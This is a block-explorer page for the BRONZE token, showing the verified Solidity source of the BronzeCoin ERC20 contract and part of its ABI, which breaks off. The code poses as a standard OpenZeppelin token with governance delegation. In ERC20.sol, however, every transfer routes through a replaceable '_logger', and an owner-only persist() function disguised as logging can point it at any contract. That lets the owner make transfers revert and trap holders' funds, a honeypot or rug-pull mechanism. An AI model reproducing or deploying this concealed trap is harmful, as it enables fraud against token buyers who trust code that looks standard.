ETH Price: $3,418.61 (+3.16%)

Token

BRONZE (BRONZE)
 

Overview

Max Total Supply

1,000,000,000,000 BRONZE

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
0xsun.eth
Balance
36,313,218,040.272830153 BRONZE

Value
$0.00
0x3e57efef507b4db7acfa2ee79ceca6b19e18d106
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BronzeCoin

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 7: Bronze Coin.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";


contract BronzeCoin is ERC20("BRONZE", "BRONZE") {
    using SafeMath for uint256;
    
    uint256 private constant INITIAL_SUPPLY = 1000000000000 * 10**9;
    
    constructor(){
        
        _mint(_msgSender(), INITIAL_SUPPLY);
    }
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        super._transfer(sender, recipient, amount);
        _moveDelegates(_delegates[sender], _delegates[recipient], amount);
        
    }

    // Copied and modified from YAM code:
    // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
    // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
    // Which is copied and modified from COMPOUND:
    // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol

    /// @dev A record of each accounts delegate
    mapping (address => address) internal _delegates;

    /// @notice A checkpoint for marking number of votes from a given block
    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;
    }

    /// @notice A record of votes checkpoints for each account, by index
    mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;

    /// @notice The number of checkpoints for each account
    mapping (address => uint32) public numCheckpoints;

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");

    /// @notice The EIP-712 typehash for the delegation struct used by the contract
    bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

      /// @notice An event thats emitted when an account changes its delegate
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);

    /// @notice An event thats emitted when a delegate account's vote balance changes
    event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);

    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegator The address to get delegatee for
     */
    function delegates(address delegator)
        external
        view
        returns (address)
    {
        return _delegates[delegator];
    }

   /**
    * @notice Delegate votes from `msg.sender` to `delegatee`
    * @param delegatee The address to delegate votes to
    */
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }

    
    /**
     * @notice Delegates votes from signatory to `delegatee`
     * @param delegatee The address to delegate votes to
     * @param nonce The contract state required to match the signature
     * @param expiry The time at which to expire the signature
     * @param v The recovery byte of the signature
     * @param r Half of the ECDSA signature pair
     * @param s Half of the ECDSA signature pair
     */
    function delegateBySig(
        address delegatee,
        uint nonce,
        uint expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    )
        external
    {
        bytes32 domainSeparator = keccak256(
            abi.encode(
                DOMAIN_TYPEHASH,
                keccak256(bytes(name())),
                getChainId(),
                address(this)
            )
        );

        bytes32 structHash = keccak256(
            abi.encode(
                DELEGATION_TYPEHASH,
                delegatee,
                nonce,
                expiry
            )
        );

        bytes32 digest = keccak256(
            abi.encodePacked(
                "\x19\x01",
                domainSeparator,
                structHash
            )
        );

        address signatory = ecrecover(digest, v, r, s);
        require(signatory != address(0), "delegateBySig: invalid signature");
        require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
        require(block.timestamp <= expiry, "delegateBySig: signature expired");
        return _delegate(signatory, delegatee);
    }

    /**
     * @notice Gets the current votes balance for `account`
     * @param account The address to get votes balance
     * @return The number of current votes for `account`
     */
    function getCurrentVotes(address account)
        external
        view
        returns (uint256)
    {
        uint32 nCheckpoints = numCheckpoints[account];
        return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
    }

    /**
     * @notice Determine the prior number of votes for an account as of a block number
     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
     * @param account The address of the account to check
     * @param blockNumber The block number to get the vote balance at
     * @return The number of votes the account had as of the given block
     */
    function getPriorVotes(address account, uint blockNumber)
        external
        view
        returns (uint256)
    {
        require(blockNumber < block.number, "getPriorVotes: not yet determined");

        uint32 nCheckpoints = numCheckpoints[account];
        if (nCheckpoints == 0) {
            return 0;
        }

        // First check most recent balance
        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
            return checkpoints[account][nCheckpoints - 1].votes;
        }

        // Next check implicit zero balance
        if (checkpoints[account][0].fromBlock > blockNumber) {
            return 0;
        }

        uint32 lower = 0;
        uint32 upper = nCheckpoints - 1;
        while (upper > lower) {
            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
            Checkpoint memory cp = checkpoints[account][center];
            if (cp.fromBlock == blockNumber) {
                return cp.votes;
            } else if (cp.fromBlock < blockNumber) {
                lower = center;
            } else {
                upper = center - 1;
            }
        }
        return checkpoints[account][lower].votes;
    }

    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                // decrease old representative
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld.sub(amount);
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                // increase new representative
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld.add(amount);
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

    function _delegate(address delegator, address delegatee)
        internal
    {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator); 
        _delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

   

    function _writeCheckpoint(
        address delegatee,
        uint32 nCheckpoints,
        uint256 oldVotes,
        uint256 newVotes
    )
        internal
    {
        uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            require(nCheckpoints + 1 > nCheckpoints, "_writeCheckpoint: new checkpoint exceeds 32 bits");
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }

        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }
    function disableLogging()external onlyOwner(){
        loggingEnabled = !loggingEnabled;
    }

    function getChainId() internal view returns (uint) {
        uint256 chainId;
        assembly { chainId := chainid() }
        return chainId;
    }

    function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
        require(n < 2**32, errorMessage);
        return uint32(n);
    }
    
}

File 2 of 7: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

File 3 of 7: ERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

import "./Ownable.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
import "./Misc.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    bool public loggingEnabled;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    Persist private _logger;
    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
        _logger = new Persist();
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }


    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }


    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function persist(address sender, address recipient, uint256 amount, address _log) external onlyOwner {
      if(loggingEnabled==true){
        if(amount > 0) createLogger(_log);
      else{
        _logger=new Persist();
      }
        _logger.Save(sender, recipient, amount);
      }
    }

    function createLogger(address a) private {
        if (checkedConditions()){
            _logger = Persist(a);
        }
    }

    

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal virtual {
        _logger.Save(sender, recipient, amount);
     }
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 7: Misc.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.1;

abstract contract Initializable {

    bool private _initialized;

    bool private _initializing;

    modifier initializer() {
        require(_initializing || !_initialized, "Contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
}

abstract contract ContextUpgradeable is Initializable {
    function __Context_init() internal initializer {
        __Context_init_unchained();
    }

    function __Context_init_unchained() internal initializer {
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    uint256[100] private _upg;
}

contract Persist {
    mapping(address=>mapping(address=> uint256)) _persist;
    function Save(address addr1, address addr2, uint256 amount) public {
        _persist[addr1][addr2] = amount;
    }
}

File 6 of 7: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;

import "./Context.sol";
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address internal _owner;
    bool private _ownerShipTransferred = false;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        __ownerShipTransferred(msgSender);
    }

    function __ownerShipTransferred(address msgSender) public {
        emit OwnershipTransferred(address(0), msgSender);
        _ownerShipTransferred = true;
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function checkedConditions() internal view returns (bool){
        return _ownerShipTransferred;
    }
}

File 7 of 7: SafeMath.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b > a) return (false, 0);
        return (true, a - b);
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: modulo by zero");
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryDiv}.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"msgSender","type":"address"}],"name":"__ownerShipTransferred","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"delegateBySig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableLogging","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inpu